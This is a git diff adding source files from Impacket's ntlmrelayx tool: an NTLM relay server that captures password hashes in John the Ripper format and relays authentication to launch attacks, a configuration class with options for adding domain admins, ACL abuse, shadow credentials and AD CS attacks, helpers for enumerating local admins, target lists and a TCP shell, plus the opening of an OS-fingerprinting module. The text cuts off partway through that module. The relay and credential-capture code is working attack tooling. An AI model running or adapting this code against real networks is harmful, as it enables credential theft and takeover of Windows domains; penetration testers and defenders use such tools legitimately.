+            ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
+                                                authenticateMessage['user_name'],
+                                                authenticateMessage['domain_name'],
+                                                authenticateMessage['lanman'], authenticateMessage['ntlm'])
+            self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
+
+            if self.server.config.outputFile is not None:
+                writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                      self.server.config.outputFile)
+
+            self.server.config.target.logTarget(self.target, True, self.authUser)
+
+            self.do_attack()
+
+        def do_ntlm_negotiate(self, token):
+            if self.target.scheme.upper() in self.server.config.protocolClients:
+                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,
+                                                                                             self.target)
+                # If connection failed, return
+                if not self.client.initConnection():
+                    return False
+                self.challengeMessage = self.client.sendNegotiate(token)
+
+                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
+                if self.server.config.remove_target:
+                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
+                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
+                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
+                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
+                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
+
+                # Check for errors
+                if self.challengeMessage is False:
+                    return False
+            else:
+                LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
+                return False
+
+            return True
+
+        def do_ntlm_auth(self, token, authenticateMessage):
+            # For some attacks it is important to know the authenticated username, so we store it
+            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
+                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
+                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()
+            else:
+                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
+                                            authenticateMessage['user_name'].decode('ascii'))).upper()
+
+            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
+                clientResponse, errorCode = self.client.sendAuth(token)
+            else:
+                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
+                # when coming from localhost
+                errorCode = STATUS_ACCESS_DENIED
+
+            if errorCode == STATUS_SUCCESS:
+                return True
+
+            return False
+
+        def do_attack(self):
+            # Check if SOCKS is enabled and if we support the target scheme
+            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
+                # Pass all the data to the socksplugins proxy
+                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
+                                       self.authUser, self.client, self.client.sessionData))
+                return
+
+            # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
+            if self.target.scheme.upper() in self.server.config.attacks:
+                # We have an attack.. go for it
+                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,
+                                                                                      self.client.session,
+                                                                                      self.authUser)
+                clientThread.start()
+            else:
+                LOG.error('No attack configured for %s' % self.target.scheme.upper())
+
+    def __init__(self, config):
+        Thread.__init__(self)
+        self.daemon = True
+        self.config = config
+        self.server = None
+
+    def run(self):
+        LOG.info("Setting up WCF Server")
+
+        if self.config.listeningPort:
+            wcfport = self.config.listeningPort
+        else:
+            wcfport = 9389  # ADWS
+
+        # changed to read from the interfaceIP set in the configuration
+        self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)
+
+        try:
+            self.server.serve_forever()
+        except KeyboardInterrupt:
+            pass
+        LOG.info('Shutting down WCF Server')
+        self.server.server_close()
diff --git a/impacket/examples/ntlmrelayx/utils/__init__.py b/impacket/examples/ntlmrelayx/utils/__init__.py
new file mode 100644
index 0000000..b2b0c68
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/utils/__init__.py
@@ -0,0 +1,9 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+pass
diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py
new file mode 100644
index 0000000..9d9ef0c
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/utils/config.py
@@ -0,0 +1,261 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Config utilities
+#
+#   Configuration class which holds the config specified on the
+#   command line, this can be passed to the tools' servers and clients
+#
+# Author:
+#  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+from impacket.examples.utils import parse_credentials
+
+
+class NTLMRelayxConfig:
+    def __init__(self):
+
+        self.daemon = True
+
+        # Set the value of the interface ip address
+        self.interfaceIp = None
+
+        self.listeningPort = None
+
+        self.domainIp = None
+
+        self.machineAccount = None
+        self.machineHashes = None
+        self.target = None
+        self.mode = None
+        self.redirecthost = None
+        self.outputFile = None
+        self.attacks = None
+        self.lootdir = None
+        self.randomtargets = False
+        self.encoding = None
+        self.ipv6 = False
+        self.remove_mic = False
+        self.disableMulti = False
+
+        self.command = None
+
+        # WPAD options
+        self.serve_wpad = False
+        self.wpad_host = None
+        self.wpad_auth_num = 0
+        self.smb2support = False
+
+        # WPAD options
+        self.serve_wpad = False
+        self.wpad_host = None
+        self.wpad_auth_num = 0
+        self.smb2support = False
+
+        # SMB options
+        self.exeFile = None
+        self.interactive = False
+        self.enumLocalAdmins = False
+        self.SMBServerChallenge = None
+
+        # RPC options
+        self.rpc_mode = None
+        self.rpc_use_smb = False
+        self.auth_smb = ''
+        self.smblmhash = None
+        self.smbnthash = None
+        self.port_smb = 445
+
+        # LDAP options
+        self.dumpdomain = True
+        self.addda = True
+        self.aclattack = True
+        self.validateprivs = True
+        self.escalateuser = None
+
+        # MSSQL options
+        self.queries = []
+
+        # Registered protocol clients
+        self.protocolClients = {}
+
+        # SOCKS options
+        self.runSocks = False
+        self.socksServer = None
+
+        # HTTP options
+        self.remove_target = False
+
+        # WebDAV options
+        self.serve_image = False
+
+        # AD CS attack options
+        self.isADCSAttack = False
+        self.template = None
+        self.altName = None
+
+        # Shadow Credentials attack options
+        self.IsShadowCredentialsAttack = False
+        self.ShadowCredentialsPFXPassword = None
+        self.ShadowCredentialsExportType = None
+        self.ShadowCredentialsOutfilePath = None
+
+    def setSMBChallenge(self, value):
+        self.SMBServerChallenge = value
+
+    def setSMB2Support(self, value):
+        self.smb2support = value
+
+    def setProtocolClients(self, clients):
+        self.protocolClients = clients
+
+    def setInterfaceIp(self, ip):
+        self.interfaceIp = ip
+
+    def setListeningPort(self, port):
+        self.listeningPort = port
+
+    def setRunSocks(self, socks, server):
+        self.runSocks = socks
+        self.socksServer = server
+
+    def setOutputFile(self, outputFile):
+        self.outputFile = outputFile
+
+    def setTargets(self, target):
+        self.target = target
+
+    def setExeFile(self, filename):
+        self.exeFile = filename
+
+    def setCommand(self, command):
+        self.command = command
+
+    def setEnumLocalAdmins(self, enumLocalAdmins):
+        self.enumLocalAdmins = enumLocalAdmins
+
+    def setDisableMulti(self, disableMulti):
+        self.disableMulti = disableMulti
+
+    def setEncoding(self, encoding):
+        self.encoding = encoding
+
+    def setMode(self, mode):
+        self.mode = mode
+
+    def setAttacks(self, attacks):
+        self.attacks = attacks
+
+    def setLootdir(self, lootdir):
+        self.lootdir = lootdir
+
+    def setRedirectHost(self, redirecthost):
+        self.redirecthost = redirecthost
+
+    def setDomainAccount(self, machineAccount, machineHashes, domainIp):
+        # Don't set this if we're not exploiting it
+        if not self.remove_target:
+            return
+        if machineAccount is None or machineHashes is None or domainIp is None:
+            raise Exception("You must specify machine-account/hashes/domain all together!")
+        self.machineAccount = machineAccount
+        self.machineHashes = machineHashes
+        self.domainIp = domainIp
+
+    def setRandomTargets(self, randomtargets):
+        self.randomtargets = randomtargets
+
+    def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, userdelegateaccess):
+        self.dumpdomain = dumpdomain
+        self.addda = addda
+        self.aclattack = aclattack
+        self.validateprivs = validateprivs
+        self.escalateuser = escalateuser
+        self.addcomputer = addcomputer
+        self.delegateaccess = delegateaccess
+        self.dumplaps = dumplaps
+        self.dumpgmsa = dumpgmsa
+        self.dumpadcs = dumpadcs
+        self.sid = sid
+        self.userdelegateaccess = userdelegateaccess
+
+    def setMSSQLOptions(self, queries):
+        self.queries = queries
+
+    def setRPCOptions(self, rpc_mode, rpc_use_smb, auth_smb, hashes_smb, rpc_smb_port):
+        self.rpc_mode = rpc_mode
+        self.rpc_use_smb = rpc_use_smb
+        self.smbdomain, self.smbuser, self.smbpass = parse_credentials(auth_smb)
+
+        if hashes_smb is not None:
+            self.smblmhash, self.smbnthash = hashes_smb.split(':')
+        else:
+            self.smblmhash = ''
+            self.smbnthash = ''
+
+        self.rpc_smb_port = rpc_smb_port
+
+    def setInteractive(self, interactive):
+        self.interactive = interactive
+
+    def setIMAPOptions(self, keyword, mailbox, dump_all, dump_max):
+        self.keyword = keyword
+        self.mailbox = mailbox
+        self.dump_all = dump_all
+        self.dump_max = dump_max
+
+    def setIPv6(self, use_ipv6):
+        self.ipv6 = use_ipv6
+
+    def setWpadOptions(self, wpad_host, wpad_auth_num):
+        if wpad_host is not None:
+            self.serve_wpad = True
+        self.wpad_host = wpad_host
+        self.wpad_auth_num = wpad_auth_num
+
+    def setExploitOptions(self, remove_mic, remove_target):
+        self.remove_mic = remove_mic
+        self.remove_target = remove_target
+
+    def setWebDAVOptions(self, serve_image):
+        self.serve_image = serve_image
+
+    def setADCSOptions(self, template):
+        self.template = template
+
+    def setIsADCSAttack(self, isADCSAttack):
+        self.isADCSAttack = isADCSAttack
+
+    def setIsShadowCredentialsAttack(self, IsShadowCredentialsAttack):
+        self.IsShadowCredentialsAttack = IsShadowCredentialsAttack
+
+    def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentialsPFXPassword, ShadowCredentialsExportType, ShadowCredentialsOutfilePath):
+        self.ShadowCredentialsTarget = ShadowCredentialsTarget
+        self.ShadowCredentialsPFXPassword = ShadowCredentialsPFXPassword
+        self.ShadowCredentialsExportType = ShadowCredentialsExportType
+        self.ShadowCredentialsOutfilePath = ShadowCredentialsOutfilePath
+
+    def setAltName(self, altName):
+        self.altName = altName
+
+def parse_listening_ports(value):
+    ports = set()
+    for entry in value.split(","):
+        items = entry.split("-")
+        if len(items) > 2:
+            raise ValueError
+        if len(items) == 1:
+            ports.add(int(items[0])) # Can raise ValueError if casted value not an Int, will be caught by calling method
+            continue
+        item1, item2 = map(int, items) # Can raise ValueError if casted values not an Int, will be caught by calling method
+        if item2 < item1:
+            raise ValueError("Upper bound in port range smaller than lower bound")
+        ports.update(range(item1, item2 + 1))
+
+    return ports
diff --git a/impacket/examples/ntlmrelayx/utils/enum.py b/impacket/examples/ntlmrelayx/utils/enum.py
new file mode 100644
index 0000000..cf2e3bb
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/utils/enum.py
@@ -0,0 +1,66 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Config utilities
+#
+#   Helpful enum methods for discovering local admins through SAMR and LSAT
+#
+# Author:
+#   Ronnie Flathers / @ropnop
+#
+from impacket.dcerpc.v5 import transport, lsat, samr, lsad
+from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
+
+
+class EnumLocalAdmins:
+    def __init__(self, smbConnection):
+        self.__smbConnection = smbConnection
+        self.__samrBinding = r'ncacn_np:445[\pipe\samr]'
+        self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]'
+
+    def __getDceBinding(self, strBinding):
+        rpc = transport.DCERPCTransportFactory(strBinding)
+        rpc.set_smb_connection(self.__smbConnection)
+        return rpc.get_dce_rpc()
+
+    def getLocalAdmins(self):
+        adminSids = self.__getLocalAdminSids()
+        adminNames = self.__resolveSids(adminSids)
+        return adminSids, adminNames
+
+    def __getLocalAdminSids(self):
+        dce = self.__getDceBinding(self.__samrBinding)
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+        resp = samr.hSamrConnect(dce)
+        serverHandle = resp['ServerHandle']
+
+        resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin')
+        resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId'])
+        domainHandle = resp['DomainHandle']
+        resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544)
+        resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])
+        memberSids = []
+        for member in resp['Members']['Sids']:
+            memberSids.append(member['SidPointer'].formatCanonical())
+        dce.disconnect()
+        return memberSids
+
+    def __resolveSids(self, sids):
+        dce = self.__getDceBinding(self.__lsaBinding)
+        dce.connect()
+        dce.bind(lsat.MSRPC_UUID_LSAT)
+        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
+        policyHandle = resp['PolicyHandle']
+        resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
+        names = []
+        for n, item in enumerate(resp['TranslatedNames']['Names']):
+            names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name']))
+        dce.disconnect()
+        return names
diff --git a/impacket/examples/ntlmrelayx/utils/ssl.py b/impacket/examples/ntlmrelayx/utils/ssl.py
new file mode 100644
index 0000000..6d7eb8f
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/utils/ssl.py
@@ -0,0 +1,73 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SSL utilities
+#
+#   Various functions and classes for SSL support:
+#     - generating certificates
+#     - creating SSL capable SOCKS protocols
+#
+#   Most of the SSL generation example code comes from the pyopenssl examples
+#     https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py
+#
+#   Made available under the Apache license by the pyopenssl team
+#     See https://github.com/pyca/pyopenssl/blob/master/LICENSE
+#
+# Author:
+#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
+#
+from OpenSSL import crypto, SSL
+from impacket import LOG
+
+# This certificate is not supposed to be exposed on the network
+# but only used for the local SOCKS plugins
+# therefore, for now we don't bother with a CA and with hosts/hostnames matching
+def generateImpacketCert(certname='/tmp/impacket.crt'):
+    # Create a private key
+    pkey = crypto.PKey()
+    pkey.generate_key(crypto.TYPE_RSA, 2048)
+
+    # Create the certificate
+    cert = crypto.X509()
+    cert.gmtime_adj_notBefore(0)
+    # Valid for 5 years
+    cert.gmtime_adj_notAfter(60*60*24*365*5)
+    subj = cert.get_subject()
+    subj.CN = 'impacket'
+    cert.set_pubkey(pkey)
+    cert.sign(pkey, "sha256")
+    # We write both from the same file
+    with open(certname, 'w') as certfile:
+        certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8'))
+        certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
+    LOG.debug('Wrote certificate to %s' % certname)
+
+# Class to wrap the client socket in SSL when serving as a SOCKS server
+class SSLServerMixin(object):
+    # This function will wrap the socksSocket in an SSL layer
+    def wrapClientConnection(self, cert='/tmp/impacket.crt'):
+        # Create a context, we don't really care about the SSL/TLS
+        # versions used since it is only intended for local use and thus
+        # doesn't have to be super-secure
+        ctx = SSL.Context(SSL.TLS_METHOD)
+        ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
+        try:
+            ctx.use_privatekey_file(cert)
+            ctx.use_certificate_file(cert)
+        except SSL.Error:
+            LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt')
+            generateImpacketCert(cert)
+            ctx.use_privatekey_file(cert)
+            ctx.use_certificate_file(cert)
+
+        sslSocket = SSL.Connection(ctx, self.socksSocket)
+        sslSocket.set_accept_state()
+
+        # Now set this property back to the SSL socket instead of the regular one
+        self.socksSocket = sslSocket
diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py
new file mode 100644
index 0000000..c07d7e9
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py
@@ -0,0 +1,180 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Target utilities
+#
+#   Classes for handling specified targets and keeping state of which targets have been processed
+#   Format of targets are based in URI syntax
+#       scheme://netloc/path
+#   where:
+#       scheme: the protocol to target (e.g. 'smb', 'mssql', 'all')
+#       netloc: int the form of domain\username@host:port (domain\username and port are optional, and don't forget
+#               to escape the '\')
+#       path: only used by specific attacks (e.g. HTTP attack).
+#
+#   Some examples:
+#       smb://1.1.1.1: It will target host 1.1.1.1 (protocol SMB) with any user connecting
+#       mssql://contoso.com\joe@10.1.1.1: It will target host 10.1.1.1 (protocol MSSQL) only when contoso.com\joe is
+#       connecting.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+# ToDo:
+#   [ ]: Expand the ALL:// to all the supported protocols
+#
+import os
+import random
+import time
+try:
+    from urllib.parse import urlparse
+except ImportError:
+    from urlparse import urlparse
+from impacket import LOG
+from threading import Thread
+
+
+class TargetsProcessor:
+    def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None, randomize=False):
+        # Here we store the attacks that already finished, mostly the ones that have usernames, since the
+        # other ones will never finish.
+        self.finishedAttacks = []
+        self.protocolClients = protocolClients
+        if targetListFile is None:
+            self.filename = None
+            self.originalTargets = self.processTarget(singleTarget, protocolClients)
+        else:
+            self.filename = targetListFile
+            self.originalTargets = []
+            self.readTargets()
+
+        if randomize is True:
+            # Randomize the targets based
+            random.shuffle(self.originalTargets)
+
+        self.generalCandidates = [x for x in self.originalTargets if x.username is None]
+        self.namedCandidates = [x for x in self.originalTargets if x.username is not None]
+
+    @staticmethod
+    def processTarget(target, protocolClients):
+        # Check if we have a single target, with no URI form
+        if target.find('://') <= 0:
+            # Target is a single IP, assuming it's SMB.
+            return [urlparse('smb://%s' % target)]
+
+        # Checks if it needs to expand the list if there's a all://*
+        retVals = []
+        if target[:3].upper() == 'ALL':
+            strippedTarget = target[3:]
+            for protocol in protocolClients:
+                retVals.append(urlparse('%s%s' % (protocol, strippedTarget)))
+            return retVals
+        else:
+            return [urlparse(target)]
+
+    def readTargets(self):
+        try:
+            with open(self.filename,'r') as f:
+                self.originalTargets = []
+                for line in f:
+                    target = line.strip()
+                    if target != '' and target[0] != '#':
+                        self.originalTargets.extend(self.processTarget(target, self.protocolClients))
+        except IOError as e:
+            LOG.error("Could not open file: %s - %s", self.filename, str(e))
+
+        if len(self.originalTargets) == 0:
+            LOG.critical("Warning: no valid targets specified!")
+
+        self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x.username is None]
+        self.namedCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x.username is not None]
+
+    def logTarget(self, target, gotRelay = False, gotUsername = None):
+        # If the target has a username, we can safely remove it from the list. Mission accomplished.
+        if gotRelay is True:
+            if target.username is not None:
+                self.finishedAttacks.append(target)
+            elif gotUsername is not None:
+                # We have data about the username we relayed the connection for,
+                # for a target that didn't have username specified.
+                # Let's log it
+                newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername.replace('/','\\'), target.netloc, target.path))
+                self.finishedAttacks.append(newTarget)
+
+    def getTarget(self, identity=None, multiRelay=True):
+        # ToDo: We should have another list of failed attempts (with user) and check that inside this method so we do not
+        # retry those targets.
+        if identity is not None and len(self.namedCandidates) > 0:
+            # We've been asked to match a username that is connected to us
+            # Do we have an explicit request for it?
+            for target in self.namedCandidates:
+                if target.username is not None:
+                    if target.username.upper() == identity.replace('/', '\\'):
+                        self.namedCandidates.remove(target)
+                        return target
+                    if target.username.find('\\') < 0:
+                        # Username with no domain, let's compare that way
+                        if target.username.upper() == identity.split('/')[1]:
+                            self.namedCandidates.remove(target)
+                            return target
+
+        # No identity match, let's just grab something from the generalCandidates list
+        # Assuming it hasn't been relayed already
+        if len(self.generalCandidates) > 0:
+            if identity is not None:
+                for target in self.generalCandidates:
+                    tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/', '\\'), target.netloc)
+                    match = [x for x in self.finishedAttacks if x.geturl().upper() == tmpTarget.upper()]
+                    if len(match) == 0:
+                        self.generalCandidates.remove(target)
+                        return target
+                LOG.debug("No more targets for user %s" % identity)
+                return None
+            # Multirelay feature is disabled, general candidates are attacked just one time
+            elif multiRelay == False:
+                for target in self.generalCandidates:
+                    match = [x for x in self.finishedAttacks if x.hostname == target.netloc]
+                    if len(match) == 0:
+                        self.generalCandidates.remove(target)
+                        return target
+                LOG.debug("No more targets")
+                return None
+            else:
+                return self.generalCandidates.pop()
+        else:
+            if len(self.originalTargets) > 0:
+                self.generalCandidates = [x for x in self.originalTargets if
+                                          x not in self.finishedAttacks and x.username is None]
+
+        if len(self.generalCandidates) == 0:
+            if len(self.namedCandidates) == 0:
+                # We are here, which means all the targets are already exhausted by the client
+                LOG.info("All targets processed!")
+            elif identity is not None:
+                # This user has no more targets
+                LOG.debug("No more targets for user %s" % identity)
+            return None
+        else:
+            return self.getTarget(identity, multiRelay)
+
+class TargetsFileWatcher(Thread):
+    def __init__(self,targetprocessor):
+        Thread.__init__(self)
+        self.targetprocessor = targetprocessor
+        self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime
+
+    def run(self):
+        while True:
+            mtime = os.stat(self.targetprocessor.filename).st_mtime
+            if mtime > self.lastmtime:
+                LOG.info('Targets file modified - refreshing')
+                self.lastmtime = mtime
+                self.targetprocessor.readTargets()
+            time.sleep(1.0)
diff --git a/impacket/examples/ntlmrelayx/utils/tcpshell.py b/impacket/examples/ntlmrelayx/utils/tcpshell.py
new file mode 100644
index 0000000..008f468
--- /dev/null
+++ b/impacket/examples/ntlmrelayx/utils/tcpshell.py
@@ -0,0 +1,43 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   TCP interactive shell
+#
+#   Launches a TCP shell for interactive use of clients
+#   after successful relaying
+#
+# Author:
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+import socket
+#Default listen port
+port = 11000
+class TcpShell:
+    def __init__(self):
+        global port
+        self.port = port
+        #Increase the default port for the next attack
+        port += 1
+
+    def listen(self):
+        #Set up the listening socket
+        serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        #Bind on localhost
+        serversocket.bind(('127.0.0.1', self.port))
+        #Don't allow a backlog
+        serversocket.listen(0)
+        self.connection, host = serversocket.accept()
+        #Create file objects from the socket
+        self.stdin = self.connection.makefile("r")
+        self.stdout = self.connection.makefile("w")
+
+    def close(self):
+        self.stdout.close()
+        self.stdin.close()
+        self.connection.close()
diff --git a/impacket/examples/os_ident.py b/impacket/examples/os_ident.py
new file mode 100644
index 0000000..b30b3e6
--- /dev/null
+++ b/impacket/examples/os_ident.py
@@ -0,0 +1,2171 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import math
+import array
+from six.moves import xrange, reduce
+
+from pcapy import lookupdev, open_live
+from impacket.ImpactPacket import UDP, TCPOption, Data, TCP, IP, ICMP, Ethernet
+from impacket.ImpactDecoder import EthDecoder
+from impacket import LOG
+
+g_nmap1_signature_filename="nmap-os-fingerprints"
+g_nmap2_signature_filename="nmap-os-db"
+
+
+def my_gcd(a, b):
+    if a < b:
+        c = a
+        a = b
+        b = c
+
+    while 0 != b:
+        c = a & b
+        a = b
+        b = c
+    return a
+
+class os_id_exception:
+    def __init__(self, value):
+        self.value = value
+    def __str__(self):
+        return repr(self.value)
+
+class os_id_test:
+    
+    def __init__(self, id):
+        self.__id = id
+        self.__my_packet = None
+        self.__result_dict = {}
+
+    def test_id(self):
+        return self.__class__.__name__
+
+    def get_test_packet(self):
+        return self.__my_packet.get_packet()
+
+    def set_packet(self, packet):
+        self.__my_packet = packet
+
+    def get_packet(self):
+        return self.__my_packet
+        
+    def process(self, packet):
+        pass
+
+    def add_result(self, name, value):
+        self.__result_dict[name] = value
+                
+    def get_id(self):
+        return self.__id
+    def is_mine(self, packet):
+        pass
+
+    def get_result_dict(self):
+        return self.__result_dict;
+
+    def get_final_result(self):
+        "Returns a string representation of the final result of this test or None if no response was received"
+        pass
+
+
+class icmp_request(os_id_test):
+    type_filter = { ICMP.ICMP_ECHO : ICMP.ICMP_ECHOREPLY,
+                    ICMP.ICMP_IREQ : ICMP.ICMP_IREQREPLY,
+                    ICMP.ICMP_MASKREQ : ICMP.ICMP_MASKREPLY,
+                    ICMP.ICMP_TSTAMP : ICMP.ICMP_TSTAMPREPLY }
+
+    def __init__(self, id, addresses, type):
+        os_id_test.__init__(self, id)
+        self.e = Ethernet()
+        self.i = IP()
+        self.icmp = ICMP()
+
+        self.i.set_ip_src(addresses[0])
+        self.i.set_ip_dst(addresses[1])
+
+        self.__type = type
+        self.icmp.set_icmp_type(type)
+        
+        self.e.contains(self.i)
+        self.i.contains(self.icmp)
+        self.set_packet(self.e)
+
+    def is_mine(self, packet):
+
+        if packet.get_ether_type() != IP.ethertype:
+            return 0
+        ip = packet.child()
+        if not ip or ip.get_ip_p() != ICMP.protocol:
+            return 0
+        icmp = ip.child()
+        
+        # icmp_request.type_filter is a dictionary that maps request 
+        # type codes to the reply codes
+        
+        if not icmp or \
+           icmp.get_icmp_type() != icmp_request.type_filter[self.__type]:
+            return 0
+        if icmp.get_icmp_id() != self.get_id():
+            return 0
+
+        return 1
+
+    def process(self, packet):
+        pass
+
+
+class nmap2_icmp_echo_probe_1(icmp_request):
+    # The first one has the IP DF bit set, a type-of-service (TOS)  byte 
+    # value of zero, a code of nine (even though it should be zero), 
+    # the sequence number 295, a random IP ID and ICMP request identifier, 
+    # and a random character repeated 120 times for the data payload.
+    sequence_number = 295
+    id = 0x5678
+
+    def __init__(self, id, addresses):
+        icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO)
+        self.i.set_ip_df(True)
+        self.i.set_ip_tos(0)
+        self.icmp.set_icmp_code(9)
+        self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number)
+        self.i.set_ip_id(nmap2_icmp_echo_probe_1.id)
+        self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id)
+        self.icmp.contains(Data("I" * 120))
+        
+    def process(self, packet):
+        pass
+
+class nmap2_icmp_echo_probe_2(icmp_request):
+    # The second ping query is similar, except a TOS of four 
+    # (IP_TOS_RELIABILITY) is used, the code is zero, 150 bytes of data is 
+    # sent, and the IP ID, request ID, and sequence numbers are incremented 
+    # by one from the previous query values.
+
+    def __init__(self, id, addresses):
+        icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO)
+        self.i.set_ip_df(False)
+        self.i.set_ip_tos(4)
+        self.icmp.set_icmp_code(0)
+        self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number + 1)
+        self.i.set_ip_id(nmap2_icmp_echo_probe_1.id + 1)
+        self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id + 1)
+        self.icmp.contains(Data("I" * 150))
+        
+    def process(self, packet):
+        pass
+
+class udp_closed_probe(os_id_test):
+
+    ip_id = 0x1234 # HARDCODED
+
+    def __init__(self, id, addresses, udp_closed ):
+
+        os_id_test.__init__(self, id )
+        self.e = Ethernet()
+        self.i = IP()
+        self.u = UDP()
+
+        self.i.set_ip_src(addresses[0])
+        self.i.set_ip_dst(addresses[1])
+        self.i.set_ip_id(udp_closed_probe.ip_id)
+        self.u.set_uh_sport(id)
+        
+        self.u.set_uh_dport( udp_closed )
+
+        self.e.contains(self.i)
+        self.i.contains(self.u)
+        self.set_packet(self.e)
+
+    def is_mine(self, packet):
+        if packet.get_ether_type() != IP.ethertype:
+            return 0
+        ip = packet.child()
+        if not ip or ip.get_ip_p() != ICMP.protocol:
+            return 0
+        icmp = ip.child()
+        if not icmp or icmp.get_icmp_type() != ICMP.ICMP_UNREACH:
+            return 0
+  
+        if icmp.get_icmp_code() != ICMP.ICMP_UNREACH_PORT:
+            return 0;
+        
+        
+        self.err_data = icmp.child()
+        if not self.err_data:
+            return 0
+        
+
+        return 1
+
+
+class tcp_probe(os_id_test):
+
+    def __init__(self, id, addresses, tcp_ports, open_port ):
+
+        self.result_string = "[]"
+        os_id_test.__init__(self, id)
+        self.e = Ethernet()
+        self.i = IP()
